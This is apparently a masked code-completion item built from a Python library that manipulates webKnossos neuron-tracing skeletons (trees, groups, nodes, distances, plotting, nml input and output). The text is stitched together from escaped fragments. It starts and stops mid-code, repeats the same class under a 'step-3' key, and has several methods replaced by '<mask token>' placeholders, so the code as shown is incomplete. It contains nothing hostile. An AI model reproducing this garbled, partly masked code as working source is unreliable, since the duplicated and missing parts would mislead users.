self.defaults['tree']['color']\n self.nodes.append(nodes)\n self.edges.append(edges)\n self.tree_ids.append(tree_id)\n self.group_ids.append(group_id)\n self.names.append(name)\n self.colors.append(color)\n\n def add_tree_from_skel(self, skel: 'Skeleton', tree_idx: int, group_id:\n int=None, name: str=None):\n \"\"\" Appends a specific tree contained in a different skeleton object to the skeleton.\n\n Args:\n skel: Source skeleton object (different from the one calling this method) to be added\n tree_idx: Source tree index of tree to be added\n group_id (optional): Target group id to which the added tree should be assigned. Default: None\n name (optional): Target name for the added tree\n \"\"\"\n if group_id not in self.groups_ids():\n self.add_group(id=group_id)\n if name is None:\n name = skel.names[tree_idx]\n skel._reset_node_ids(self.max_node_id() + 1)\n skel._reset_tree_ids(self.max_tree_id() + 1)\n self.nodes = self.nodes + [skel.nodes[tree_idx]]\n self.edges = self.edges + [skel.edges[tree_idx]]\n self.tree_ids = self.tree_ids + [skel.tree_ids[tree_idx]]\n self.group_ids = self.group_ids + [group_id]\n self.names = self.names + [name]\n self.colors = self.colors + [skel.colors[tree_idx]]\n return self\n\n def add_trees_from_skel(self, skel: 'Skeleton'):\n \"\"\" Appends all trees contained in a different skeleton object to the skeleton.\n\n This method attempts to preserve the relative group structure found in the skeleton object to be added\n\n Args:\n skel: Source skeleton object (different from the one calling this method) to be added\n \"\"\"\n skel._reset_node_ids(self.max_node_id() + 1)\n skel._reset_tree_ids(self.max_tree_id() + 1)\n max_group_id = self.max_group_id()\n if max_group_id is not None:\n skel._reset_group_ids(max_group_id + 1)\n self.nodes = self.nodes + skel.nodes\n self.edges = self.edges + skel.edges\n self.tree_ids = self.tree_ids + skel.tree_ids\n self.group_ids = self.group_ids + skel.group_ids\n self.groups = self.groups + skel.groups\n self.names = self.names + skel.names\n self.colors = self.colors + skel.colors\n return self\n\n def add_nodes_as_trees(self, nodes: Nodes, tree_ids: List[int]=None,\n group_ids: List[int]=None, names: List[str]=None, colors: List[\n Tuple[float, float, float, float]]=None):\n \"\"\" Appends each of the specified nodes as separate trees to the skeleton (1 node each).\n\n Args:\n nodes: Nodes representing the trees to be added\n tree_ids (optional): Tree ids to be assigned to the newly added trees. Default: Global max + [1, n]\n group_ids (optional): Group ids to be assigned to the newly added trees. Default: None\n names (optional): Names to be assigned to the newly added trees.\n colors (optional): Colors to be used for the new trees specified as (r, g, b, alpha). Default: (0, 0, 0, 1)\n \"\"\"\n if tree_ids is None:\n tree_id_start = self.max_tree_id() + 1\n tree_id_end = tree_id_start + len(nodes)\n tree_ids = list(range(tree_id_start, tree_id_end))\n if group_ids is None:\n group_ids = [None for x in range(len(nodes))]\n if names is None:\n names = ['' for x in range(len(nodes))]\n if colors is None:\n colors = [(0.0, 0.0, 0.0, 1.0) for x in range(len(nodes))]\n for node_idx, _ in nodes.iterrows():\n self.add_tree(nodes=nodes[node_idx:node_idx + 1], tree_id=\n tree_ids[node_idx], group_id=group_ids[node_idx], name=\n names[node_idx], color=colors[node_idx])\n\n def delete_tree(self, idx: int=None, id: int=None):\n \"\"\" Deletes tree with specified idx or id.\n\n Args:\n idx: Linear index of tree to be deleted\n id: Id of tree to be deleted\n\n \"\"\"\n if id is not None:\n idx = self.tree_ids.index(id)\n self.nodes.pop(idx)\n self.edges.pop(idx)\n self.names.pop(idx)\n self.colors.pop(idx)\n self.tree_ids.pop(idx)\n self.group_ids.pop(idx)\n\n def add_group(self, parent_id: int=None, id: int=None, name: str=None):\n \"\"\" Adds a new group to skeleton object.\n\n Args:\n parent_id: Parent group id to which new group is added as a child. Default: None (root group)\n id: Id of new group to be added. Default: Current max group id + 1\n name: Name of new group to be added. Default: 'Group {}'.format(id)\n\n Returns:\n id: Id of added group\n name: Name of added group\n\n \"\"\"\n if parent_id is not None:\n assert parent_id in self.group_ids, 'Parent id does not exist'\n if id is None:\n id = int(np.nanmax(np.asarray(self.group_ids, dtype=np.float)) + 1)\n else:\n assert id not in self.groups_ids(), 'Id already exists'\n if name is None:\n name = 'Group {}'.format(id)\n new_group = wknml.Group(id, name, [])\n if parent_id is None:\n self.groups.append(new_group)\n else:\n self.groups = Skeleton._group_append(self.groups, parent_id,\n new_group)\n return id, name\n\n def delete_group(self, id, target_id):\n pass\n\n def define_nodes(self, position_x: List[int], position_y: List[int],\n position_z: List[int], id: List[int]=None, radius: Optional[List[\n int]]=None, rotation_x: Optional[List[float]]=None, rotation_y:\n Optional[List[float]]=None, rotation_z: Optional[List[float]]=None,\n inVP: Optional[List[int]]=None, inMag: Optional[List[int]]=None,\n bitDepth: Optional[List[int]]=None, interpolation: Optional[List[\n bool]]=None, time: Optional[List[int]]=None, comment: Optional[List\n [int]]=None) ->Nodes:\n \"\"\" Generates new nodes table from data.\n\n Args:\n position_x: Node position x\n position_y: Node position y\n position_z: Node position z\n id (optional): (Globally unique) Node id. Default: New unique ids are generated\n radius (optional): Node radius\n rotation_x (optional): Node rotation x\n rotation_y (optional): Node rotation y\n rotation_z (optional): Node rotation z\n inVP (optional): Viewport index in which node was placed\n inMag (optional): (De-)Magnification factor in which node was placed\n bitDepth (optional): Bit (Color) Depth in which node was placed\n interpolation (optional): Interpolation state in which node was placed\n time (optional): Time stamp at which node was placed\n comment (optional): Comment associated with node\n\n Returns:\n nodes: Nodes object\n\n \"\"\"\n if id is None:\n id_max = self.max_node_id()\n id = list(range(id_max + 1, id_max + len(position_x) + 1))\n nodes = Nodes.from_list(id, position_x, position_y, position_z,\n radius, rotation_x, rotation_y, rotation_z, inVP, inMag,\n bitDepth, interpolation, time, comment)\n return nodes\n\n def define_nodes_from_positions(self, positions: np.ndarray) ->Nodes:\n \"\"\" Generates new nodes table from positions only (node ids are generated automatically).\n\n Args:\n positions (N x 3): Numpy array holding the (x,y,z) positions to be returned as nodes in a Nodes table\n\n Returns:\n nodes: Nodes object\n\n \"\"\"\n id_max = self.max_node_id()\n id = np.array(range(id_max + 1, id_max + positions.shape[0] + 1)\n ).reshape(-1, 1)\n nodes = Nodes.from_numpy(np.append(id, positions, axis=1))\n return nodes\n\n def get_distances_to_node(self, positions: Union[Sequence[Tuple[int,\n int, int]], np.ndarray], node_id: int=None, tree_idx: int=None,\n node_idx: int=None, unit: str='um') ->List[np.ndarray]:\n \"\"\" Get the (euclidean) distances from the specified node to the provided (x,y,z) positions\n\n Args:\n positions (N x 3): Target (x,y,z) positions to which the distances should be computed\n node_id: Node id of the node for which the distances should be computed\n tree_idx: Tree idx of the node for which the distances should be computed\n node_idx: Node idx of the node for which the distances should be computed\n unit (optional): Unit flag specifying in which unit the distances should be returned.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer). Default: 'um' (micrometer)\n\n Returns:\n distances: Array holding distances\n\n \"\"\"\n assert (node_id is not None) ^ (tree_idx is not None) & (node_idx\n is not None\n ), 'Either provide node_id or both tree_idx and node_idx'\n if type(positions) is not np.ndarray:\n positions = np.array(positions)\n if node_id is not None:\n node_idx, tree_idx = self.node_id_to_idx(node_id)\n unit_factor = self._get_unit_factor(unit)\n distances = Skeleton.get_distance(positions, np.array(self.nodes[\n tree_idx].position.values[node_idx]), unit_factor)\n return distances\n\n def get_distance_to_nodes(self, position: Union[Tuple[int, int, int],\n np.ndarray], tree_idx: int, unit: str='um') ->List[np.ndarray]:\n \"\"\" Get the (euclidean) distances from the nodes of the specified tree to the provided (x,y,z) position\n\n Args:\n position (1 x 3): Target (x,y,z) position to which the node distances should be computed\n tree_idx: Tree idx for which node distances should be computed\n unit (optional): Unit flag specifying in which unit the distances should be returned.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer). Default: 'um' (micrometer)\n\n Returns:\n distances: Array holding distances\n\n \"\"\"\n if type(position) is not np.ndarray:\n position = np.array(position)\n unit_factor = self._get_unit_factor(unit)\n distances = Skeleton.get_distance(np.array(self.nodes[tree_idx].\n position.values), position, unit_factor)\n return distances\n\n def get_graph(self, tree_idx):\n \"\"\" Returns the networkx graph representation of a tree.\n\n Args:\n tree_idx: Linear index of the tree to be returned as graph object\n\n Returns:\n graph: Graph object\n\n \"\"\"\n nodes = self.nodes[tree_idx]\n edges = self.edges[tree_idx]\n graph = Skeleton._get_graph(nodes, edges)\n return graph\n\n def get_shortest_path(self, node_id_start: int, node_id_end: int) ->List[\n int]:\n \"\"\" Returns the shortest path between two nodes of a tree.\n\n Args:\n node_id_start: Node id of start node\n node_id_end: Node id of end node\n\n Returns:\n shortest_path: Node indices comprising the shortest path\n\n \"\"\"\n _, tree_idx_start = self.node_id_to_idx(node_id_start)\n _, tree_idx_end = self.node_id_to_idx(node_id_end)\n assert tree_idx_start == tree_idx_end, 'Provided node ids need to be part of the same tree'\n graph = self.get_graph(tree_idx_start)\n shortest_path = nx.shortest_path(graph, node_id_start, node_id_end)\n return shortest_path\n\n def plot(self, tree_inds: Union[int, List[int]]=None, view: str=None,\n colors: Union[Tuple[float, float, float, float], List[Tuple[float,\n float, float, float]], str]=None, unit: str='um', show: bool=True,\n ax: plt.axes=None):\n \"\"\" Generates a (3D) line plot of the trees contained in the skeleton object.\n\n Args:\n tree_inds (optional): Tree indices to be plotted.\n Default: All trees are plotted\n view (optional): Plot as 2D projection on orthonormal plane.\n Options: 'xy', 'xz', 'yz'\n Default: Plot as 3D projection\n colors (optional): Colors in which trees should be plotted. If only one RGBA tuple is specified, it is\n broadcasted over all trees. Alternatively, a list providing RGBA tuples for each tree can be passed.\n Lastly, the name of a mnatplotlib colormap (https://matplotlib.org/tutorials/colors/colormaps.html) can\n be passed as a str.\n Default: Skeleton colors (self.colors) are used\n unit (optional): Specifies in which unit the plot should be generated.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer).\n Default: 'um' (micrometer)\n show (optional): Displays the plot in an interactive window. For repeatedly plotting on the same axes, set\n to False. Default: True\n ax: Axes to be plotted on.\n\n Returns:\n ax: Axes which was plotted on\n \"\"\"\n if tree_inds is None:\n tree_inds = list(range(len(self.nodes)))\n elif tree_inds is int:\n tree_inds = [tree_inds]\n if colors is None:\n colors = self.colors\n elif type(colors) is str:\n cmap = cm.get_cmap(colors)\n colors = [cmap(x) for x in np.linspace(0, 1, self.num_trees())]\n elif type(colors[0]) is not Sequence:\n colors = [colors] * self.num_trees()\n unit_factor = self._get_unit_factor(unit)\n allowed_views = ['xy', 'xz', 'yz']\n if view is not None:\n assert view in allowed_views, 'The passed view argument: {} is not among the allowed views: {}'.format(\n view, allowed_views)\n if ax is None:\n fig = plt.figure()\n if view is None:\n ax = fig.add_subplot(111, projection='3d')\n else:\n ax = fig.add_subplot(111, projection='rectilinear')\n elif view is None:\n assert ax.name == '3d', 'To generate a 3D skeleton plot, the projection type of the passed axes must be 3D'\n else:\n assert ax.name != '3d', 'To generate a 2D skeleton plot, the projection type of the passed axes must be rectilinear'\n lims_min = []\n lims_max = []\n for tree_idx in tree_inds:\n edges = self.edges[tree_idx].copy()\n nodes = self.nodes[tree_idx].copy()\n if len(nodes) > 0:\n nodes['position'] = nodes['position'].multiply(unit_factor)\n if view == 'xy':\n nodes = nodes.drop([('position', 'z')], axis=1)\n elif view == 'xz':\n nodes = nodes.drop([('position', 'y')], axis=1)\n elif view == 'yz':\n nodes = nodes.drop([('position', 'x')], axis=1)\n lims_min.append(np.min(nodes['position'].values, axis=0))\n lims_max.append(np.max(nodes['position'].values, axis=0))\n segments = []\n for edge in edges:\n n0 = nodes['position'][nodes.id == edge[0]].values[0]\n n1 = nodes['position'][nodes.id == edge[1]].values[0]\n segment = [[c for c in n0], [c for c in n1]]\n segments.append(segment)\n if view is None:\n line_collection = art3d.Line3DCollection(segments=\n segments, colors=colors[tree_idx])\n ax.add_collection3d(line_collection)\n else:\n line_collection = LineCollection(segments=segments,\n colors=colors[tree_idx])\n ax.add_collection(line_collection)\n lim_min = np.min(np.array(lims_min), axis=0)\n lim_max = np.max(np.array(lims_max), axis=0)\n ax.set_xlim(lim_min[0], lim_max[0])\n ax.set_ylim(lim_min[1], lim_max[1])\n if view is None:\n ax.set_zlim(lim_min[2], lim_max[2])\n else:\n ax.set_aspect('equal')\n if show:\n plt.show()\n return ax\n\n def write_nml(self, nml_write_path):\n \"\"\" Writes the present state of the skeleton object to a .nml file.\n\n Args:\n nml_write_path: Path to which .nml file should be written\n\n \"\"\"\n if self.num_trees() == 0:\n self.add_tree()\n nml = self._skeleton_to_nml()\n with open(nml_write_path, 'wb') as f:\n wknml.write_nml(f, nml)\n\n def node_id_to_idx(self, node_id: int) ->(int, int):\n \"\"\" Returns the linear tree and node indices for the provided node id.\"\"\"\n node_idx = None\n for tree_idx, nodes in enumerate(self.nodes):\n index_list = nodes[nodes['id'] == node_id].index.tolist()\n if index_list:\n node_idx = index_list[0]\n break\n assert node_idx is not None, 'node id {} does not exist'.format(node_id\n )\n return node_idx, tree_idx\n\n def node_idx_to_id(self, node_idx: int, tree_idx: int) ->int:\n \"\"\" Returns the node id for the provided tree and node idx.\"\"\"\n node_id = self.nodes[tree_idx].loc[node_idx, 'id'].values[0]\n return node_id\n\n def min_group_id(self) ->int:\n \"\"\" Returns lowest group id. If no groups are defined, return None\"\"\"\n group_ids = np.asarray(self.group_ids, dtype=np.float)\n if np.all(np.isnan(group_ids)):\n group_id = None\n else:\n group_id = int(np.nanmin(group_ids))\n return group_id\n\n def max_group_id(self) ->int:\n \"\"\" Returns highest group id. If no groups are defined, return None\"\"\"\n group_ids = np.asarray(self.group_ids, dtype=np.float)\n if np.all(np.isnan(group_ids)):\n group_id = None\n else:\n group_id = int(np.nanmax(group_ids))\n return group_id\n\n def min_node_id(self) ->int:\n \"\"\" Returns lowest global node id.\"\"\"\n if len(self.nodes) > 0:\n min_node_id = min([(min(nodes.id) if len(nodes) > 0 else 0) for\n nodes in self.nodes])\n else:\n min_node_id = 0\n return min_node_id\n\n def max_node_id(self) ->int:\n \"\"\" Returns highest global node id.\"\"\"\n if len(self.nodes) > 0:\n max_node_id = max([(max(nodes.id) if len(nodes) > 0 else 0) for\n nodes in self.nodes])\n else:\n max_node_id = 0\n return max_node_id\n\n def min_tree_id(self) ->int:\n \"\"\" Returns lowest global tree id.\"\"\"\n return min(self.tree_ids) if len(self.tree_ids) > 0 else 0\n\n def max_tree_id(self) ->int:\n \"\"\" Returns highest global tree id.\"\"\"\n return max(self.tree_ids) if len(self.tree_ids) > 0 else 0\n\n def num_trees(self) ->int:\n \"\"\"Returns number of trees contained in skeleton object.\"\"\"\n return len(self.nodes)\n\n def groups_ids(self) ->List[int]:\n \"\"\" Returns all ids defined in groups tree\"\"\"\n _, groups_ids = Skeleton._group_get_ids(self.groups)\n return groups_ids\n\n def _get_unit_factor(self, unit: str) ->np.ndarray:\n \"\"\" Returns factor for unit conversion\n\n Args:\n unit: Unit for which to return the conversion factor.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer)\n\n Returns:\n unit_factor (shape=(3,)): Unit conversion factors\n \"\"\"\n unit_factors = {'vx': np.array((1, 1, 1)), 'nm': np.array(self.\n parameters.scale), 'um': np.array(self.parameters.scale) / 1000}\n assert unit in unit_factors.keys(), 'Invalid unit'\n unit_factor = unit_factors[unit]\n return unit_factor\n\n def _reset_node_ids(self, start_id: int):\n \"\"\" Resets node ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest node id should be set.\n \"\"\"\n add_id = start_id - self.min_node_id()\n for tree_idx, _ in enumerate(self.nodes):\n self.nodes[tree_idx].nodes['id'] += add_id\n self.edges[tree_idx] += add_id\n\n def _reset_tree_ids(self, start_id: int):\n \"\"\" Resets tree ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest tree id should be set.\n \"\"\"\n add_id = start_id - self.min_tree_id()\n self.tree_ids = [(tree_id + add_id) for tree_id in self.tree_ids]\n\n def _reset_group_ids(self, start_id: int):\n \"\"\" Resets group ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest group id should be set.\n \"\"\"\n min_group_id = self.min_group_id()\n if min_group_id is not None:\n add_id = start_id - min_group_id\n self.group_ids = [(i + add_id if i is not None else i) for i in\n self.group_ids]\n self.groups = [Skeleton._group_modify_id(group, id_modifier=lambda\n x: x + add_id) for group in self.groups]\n <mask token>\n\n def _nml_to_skeleton(self, nml):\n \"\"\" Converts wknml to skeleton data structures.\"\"\"\n self.groups = nml.groups\n self.branchpoints = nml.branchpoints\n self.parameters = Parameters(**nml.parameters._asdict())\n for tree in nml.trees:\n self.add_tree(nodes=Skeleton._nml_nodes_to_nodes(nml_nodes=tree\n .nodes, nml_comments=nml.comments), edges=np.array([(edge.\n source, edge.target) for edge in tree.edges]), group_id=\n tree.groupId, name=tree.name, color=tree.color)\n\n def _skeleton_to_nml(self):\n \"\"\" Converts skeleton to wknml data structures.\"\"\"\n trees = []\n for tree_idx, tree_id in enumerate(self.tree_ids):\n nml_nodes = Skeleton._nodes_to_nml_nodes(self.nodes[tree_idx])\n nml_edges = Skeleton._edges_to_nml_edges(self.edges[tree_idx])\n tree = wknml.Tree(id=tree_id, color=self.colors[tree_idx], name\n =self.names[tree_idx], groupId=self.group_ids[tree_idx],\n nodes=nml_nodes, edges=nml_edges)\n trees.append(tree)\n nml = wknml.NML(parameters=wknml.NMLParameters(**self.parameters.\n _asdict()), trees=trees, branchpoints=self.branchpoints,\n comments=self._skeleton_to_nml_comments(), groups=self.groups)\n return nml\n\n def _skeleton_to_nml_comments(self):\n \"\"\" Converts skeleton to wknml comments.\"\"\"\n nml_comments = []\n for nodes in self.nodes:\n comment_nodes = nodes[nodes['comment'].notnull()]\n for _, row in comment_nodes.iterrows():\n nml_comment = wknml.Comment(node=row['id'].values[0],\n content=row['comment'].values[0])\n nml_comments.append(nml_comment)\n return nml_comments\n\n @staticmethod\n def define_parameters(name: str, scale: Tuple[float, float, float],\n offset: Tuple[float, float, float]=(0, 0, 0), time: int=0,\n editPosition: Tuple[float, float, float]=(1.0, 1.0, 1.0),\n editRotation: Tuple[float, float, float]=(0.0, 0.0, 0.0), zoomLevel:\n float=1.0, taskBoundingBox: Tuple[int, int, int, int, int, int]=\n None, userBoundingBox: Tuple[int, int, int, int, int, int]=None\n ) ->Parameters:\n parameters = Parameters(name=name, scale=scale, offset=offset, time\n =time, editPosition=editPosition, editRotation=editRotation,\n zoomLevel=zoomLevel, taskBoundingBox=taskBoundingBox,\n userBoundingBox=userBoundingBox)\n return parameters\n\n @staticmethod\n def get_distance(positions: np.ndarray, position: np.ndarray,\n unit_factor: np.ndarray=None):\n \"\"\" Get the (euclidean) distances between positions and a target position\n\n Args:\n positions (N x 3): Array holding (multiple) x, y, z positions\n position (1 x 3): Array holding x, y, z position to which the distances should be computed\n unit_factors (1 x 3 Array, optional): Conversion factors with which distances are multiplied. Default (1,1,1)\n\n Returns:\n distances: Arrays holding distances\n\n \"\"\"\n if unit_factor is None:\n unit_factor = np.array([1, 1, 1])\n distances = np.sqrt(np.sum(((positions - position) * unit_factor.\n reshape(1, 3)) ** 2, axis=1))\n return distances\n\n @staticmethod\n def _nml_nodes_to_nodes(nml_nodes, nml_comments):\n \"\"\" Converts wknml nodes (list of named tuples) to skeleton nodes (DataFrame subclass).\"\"\"\n data = [(node.id, node.position[0], node.position[1], node.position\n [2], node.radius, node.rotation[0], node.rotation[1], node.\n rotation[2], node.inVp, node.inMag, node.bitDepth, node.\n interpolation, node.time, np.nan) for node in nml_nodes]\n nodes = Nodes(data=data)\n comment_node_ids = [comment.node for comment in nml_comments]\n comment_strings = [comment.content for comment in nml_comments]\n nodes_ids_comments = nodes.id[nodes.id.isin(comment_node_ids)]\n for id in nodes_ids_comments:\n id_comment = comment_strings[comment_node_ids.index(id)]\n nodes.loc[nodes.id == id, ('comment', '')] = id_comment\n return nodes\n\n @staticmethod\n def _nodes_to_nml_nodes(nodes):\n \"\"\" Converts skeleton nodes (DataFrame subclass) to wknml nodes (list of named tuples).\"\"\"\n nml_nodes = []\n for idx, row in nodes.iterrows():\n nml_node = wknml.Node(id=int(row.id), position=tuple(row.\n position.values), radius=float(row.radius), rotation=tuple(\n row.rotation.values), inVp=int(row.inVp), inMag=int(row.\n inMag), bitDepth=int(row.bitDepth), interpolation=bool(row.\n interpolation.values), time=int(row.time))\n nml_nodes.append(nml_node)\n return nml_nodes\n <mask token>\n <mask token>\n\n @staticmethod\n def _group_parent(groups, id, parent_id=None, parent_idx=None,\n child_idx=None):\n \"\"\" Returns the id of the parent group for a (child) group with specified id.\"\"\"\n for group in groups:\n if id in [x.id for x in group.children]:\n parent_id = group.id\n parent_idx = groups.index(group)\n child_idx = [x.id for x in group.children].index(id)\n else:\n parent_id, parent_idx, child_idx = Skeleton._group_parent(group\n .children, id, parent_id, parent_idx, child_idx)\n return parent_id, parent_idx, child_idx\n\n @staticmethod\n def _group_modify_id(group, id_modifier):\n \"\"\" Modifies group ids with the passed id_modifier (e.g. lambda) function.\"\"\"\n group = group._replace(id=id_modifier(group.id))\n group = group._replace(children=list(map(lambda g: Skeleton.\n _group_modify_id(g, id_modifier), group.children)))\n return group\n\n @staticmethod\n def _group_get_ids(groups, ids=[]):\n for group in groups:\n ids.append(group.id)\n Skeleton._group_get_ids(group.children, ids)\n return groups, ids\n\n @staticmethod\n def _get_graph(nodes: Nodes, edges: np.ndarray):\n \"\"\" Returns the networkx graph representation of provided nodes and edges.\"\"\"\n graph = nx.Graph()\n graph.add_nodes_from(nodes['id'])\n attrs = nodes.set_index('id').to_dict('index')\n nx.set_node_attributes(graph, attrs)\n graph.add_edges_from(edges)\n return graph\n\n @staticmethod\n def _num_conn_comp(graph):\n \"\"\" Returns number of connected components for graph\"\"\"\n return nx.number_connected_components(graph)\n", "step-3": "<mask token>\n\n\nclass Skeleton:\n <mask token>\n <mask token>\n\n def __init__(self, nml_path: str=None, parameters: Parameters=None,\n strict=True):\n \"\"\" The Skeleton constructor expects either a path to a nml file or a Parameters object as input arguments\n\n Args:\n nml_path: Path to nml file. If constructed via an nml file, the skeleton object is populated with all the\n trees and additional properties specified in the .nml file\n parameters (optional): Parameters (wkskel.types.Parameters) specifying the most rudimentary properties\n of the skeleton.\n strict (optional): Controls assertions ensuring that resulting skeleton objects are compatible with\n webKnossos. Default: True\n\n Examples:\n Using nml_path:\n nml_path = '/path/to/example.nml'\n skel = Skeleton(nml_path)\n\n Using parameters:\n parameters = Skeleton.define_parameters(name=\"2017-01-12_FD0156-2\", scale=(11.24, 11.24, 32))\n skel = Skeleton(parameters=parameters)\n \"\"\"\n assert (nml_path is not None) ^ (parameters is not None\n ), 'To construct a skeleton object, either a path to a nml file or the skeleton parameters need to passed'\n self.nodes = list()\n self.edges = list()\n self.names = list()\n self.colors = list()\n self.tree_ids = list()\n self.group_ids = list()\n self.groups = list()\n self.branchpoints = list()\n self.parameters = Parameters()\n self.nml_path = str()\n self.strict = strict\n self.defaults = self.DEFAULTS\n if nml_path is not None:\n assert os.path.exists(nml_path), 'not a valid path: {}'.format(\n nml_path)\n try:\n with open(nml_path, 'rb') as f:\n nml = wknml.parse_nml(f)\n except IOError:\n print('not a valid nml file: {}'.format(nml_path))\n self._nml_to_skeleton(nml)\n else:\n assert type(parameters\n ) is Parameters, 'provided parameters must be of type wkskel.types.Parameters'\n self._parameters_to_skeleton(parameters)\n\n def add_tree(self, nodes: Nodes=Nodes(), edges: Union[List[Tuple[int,\n int]], np.ndarray]=None, tree_id: int=None, name: str='', group_id:\n int=None, color: Tuple[float, float, float, float]=None):\n \"\"\" Appends new tree to skeleton.\n\n Args:\n nodes (optional): Nodes representing tree to be added\n edges (optional): Edges representing tree to be added\n tree_id (optional): Tree id to be used for new tree. Default: Highest current tree id + 1\n name (optional): Name to be used for new tree. Default: Empty str\n group_id (optional): Group id to be used for new tree. If passed group id does not exist, it is created.\n Default: None\n color (optional): Color to be used for new tree specified as (r, g, b, alpha). Default: (0, 0, 0, 1)\n \"\"\"\n if edges is None:\n edges = np.empty((0, 2), dtype=np.uint32)\n elif type(edges) is list:\n edges = np.asarray(edges)\n if self.strict & (len(nodes) > 1):\n assert Skeleton._num_conn_comp(Skeleton._get_graph(nodes, edges)\n ) == 1, 'Added tree consists of more than one connected component'\n if tree_id is None:\n tree_id = self.max_tree_id() + 1\n if (group_id is not None) & (group_id not in self.groups_ids()):\n self.add_group(id=group_id)\n if color is None:\n color = self.defaults['tree']['color']\n self.nodes.append(nodes)\n self.edges.append(edges)\n self.tree_ids.append(tree_id)\n self.group_ids.append(group_id)\n self.names.append(name)\n self.colors.append(color)\n\n def add_tree_from_skel(self, skel: 'Skeleton', tree_idx: int, group_id:\n int=None, name: str=None):\n \"\"\" Appends a specific tree contained in a different skeleton object to the skeleton.\n\n Args:\n skel: Source skeleton object (different from the one calling this method) to be added\n tree_idx: Source tree index of tree to be added\n group_id (optional): Target group id to which the added tree should be assigned. Default: None\n name (optional): Target name for the added tree\n \"\"\"\n if group_id not in self.groups_ids():\n self.add_group(id=group_id)\n if name is None:\n name = skel.names[tree_idx]\n skel._reset_node_ids(self.max_node_id() + 1)\n skel._reset_tree_ids(self.max_tree_id() + 1)\n self.nodes = self.nodes + [skel.nodes[tree_idx]]\n self.edges = self.edges + [skel.edges[tree_idx]]\n self.tree_ids = self.tree_ids + [skel.tree_ids[tree_idx]]\n self.group_ids = self.group_ids + [group_id]\n self.names = self.names + [name]\n self.colors = self.colors + [skel.colors[tree_idx]]\n return self\n\n def add_trees_from_skel(self, skel: 'Skeleton'):\n \"\"\" Appends all trees contained in a different skeleton object to the skeleton.\n\n This method attempts to preserve the relative group structure found in the skeleton object to be added\n\n Args:\n skel: Source skeleton object (different from the one calling this method) to be added\n \"\"\"\n skel._reset_node_ids(self.max_node_id() + 1)\n skel._reset_tree_ids(self.max_tree_id() + 1)\n max_group_id = self.max_group_id()\n if max_group_id is not None:\n skel._reset_group_ids(max_group_id + 1)\n self.nodes = self.nodes + skel.nodes\n self.edges = self.edges + skel.edges\n self.tree_ids = self.tree_ids + skel.tree_ids\n self.group_ids = self.group_ids + skel.group_ids\n self.groups = self.groups + skel.groups\n self.names = self.names + skel.names\n self.colors = self.colors + skel.colors\n return self\n\n def add_nodes_as_trees(self, nodes: Nodes, tree_ids: List[int]=None,\n group_ids: List[int]=None, names: List[str]=None, colors: List[\n Tuple[float, float, float, float]]=None):\n \"\"\" Appends each of the specified nodes as separate trees to the skeleton (1 node each).\n\n Args:\n nodes: Nodes representing the trees to be added\n tree_ids (optional): Tree ids to be assigned to the newly added trees. Default: Global max + [1, n]\n group_ids (optional): Group ids to be assigned to the newly added trees. Default: None\n names (optional): Names to be assigned to the newly added trees.\n colors (optional): Colors to be used for the new trees specified as (r, g, b, alpha). Default: (0, 0, 0, 1)\n \"\"\"\n if tree_ids is None:\n tree_id_start = self.max_tree_id() + 1\n tree_id_end = tree_id_start + len(nodes)\n tree_ids = list(range(tree_id_start, tree_id_end))\n if group_ids is None:\n group_ids = [None for x in range(len(nodes))]\n if names is None:\n names = ['' for x in range(len(nodes))]\n if colors is None:\n colors = [(0.0, 0.0, 0.0, 1.0) for x in range(len(nodes))]\n for node_idx, _ in nodes.iterrows():\n self.add_tree(nodes=nodes[node_idx:node_idx + 1], tree_id=\n tree_ids[node_idx], group_id=group_ids[node_idx], name=\n names[node_idx], color=colors[node_idx])\n\n def delete_tree(self, idx: int=None, id: int=None):\n \"\"\" Deletes tree with specified idx or id.\n\n Args:\n idx: Linear index of tree to be deleted\n id: Id of tree to be deleted\n\n \"\"\"\n if id is not None:\n idx = self.tree_ids.index(id)\n self.nodes.pop(idx)\n self.edges.pop(idx)\n self.names.pop(idx)\n self.colors.pop(idx)\n self.tree_ids.pop(idx)\n self.group_ids.pop(idx)\n\n def add_group(self, parent_id: int=None, id: int=None, name: str=None):\n \"\"\" Adds a new group to skeleton object.\n\n Args:\n parent_id: Parent group id to which new group is added as a child. Default: None (root group)\n id: Id of new group to be added. Default: Current max group id + 1\n name: Name of new group to be added. Default: 'Group {}'.format(id)\n\n Returns:\n id: Id of added group\n name: Name of added group\n\n \"\"\"\n if parent_id is not None:\n assert parent_id in self.group_ids, 'Parent id does not exist'\n if id is None:\n id = int(np.nanmax(np.asarray(self.group_ids, dtype=np.float)) + 1)\n else:\n assert id not in self.groups_ids(), 'Id already exists'\n if name is None:\n name = 'Group {}'.format(id)\n new_group = wknml.Group(id, name, [])\n if parent_id is None:\n self.groups.append(new_group)\n else:\n self.groups = Skeleton._group_append(self.groups, parent_id,\n new_group)\n return id, name\n\n def delete_group(self, id, target_id):\n pass\n\n def define_nodes(self, position_x: List[int], position_y: List[int],\n position_z: List[int], id: List[int]=None, radius: Optional[List[\n int]]=None, rotation_x: Optional[List[float]]=None, rotation_y:\n Optional[List[float]]=None, rotation_z: Optional[List[float]]=None,\n inVP: Optional[List[int]]=None, inMag: Optional[List[int]]=None,\n bitDepth: Optional[List[int]]=None, interpolation: Optional[List[\n bool]]=None, time: Optional[List[int]]=None, comment: Optional[List\n [int]]=None) ->Nodes:\n \"\"\" Generates new nodes table from data.\n\n Args:\n position_x: Node position x\n position_y: Node position y\n position_z: Node position z\n id (optional): (Globally unique) Node id. Default: New unique ids are generated\n radius (optional): Node radius\n rotation_x (optional): Node rotation x\n rotation_y (optional): Node rotation y\n rotation_z (optional): Node rotation z\n inVP (optional): Viewport index in which node was placed\n inMag (optional): (De-)Magnification factor in which node was placed\n bitDepth (optional): Bit (Color) Depth in which node was placed\n interpolation (optional): Interpolation state in which node was placed\n time (optional): Time stamp at which node was placed\n comment (optional): Comment associated with node\n\n Returns:\n nodes: Nodes object\n\n \"\"\"\n if id is None:\n id_max = self.max_node_id()\n id = list(range(id_max + 1, id_max + len(position_x) + 1))\n nodes = Nodes.from_list(id, position_x, position_y, position_z,\n radius, rotation_x, rotation_y, rotation_z, inVP, inMag,\n bitDepth, 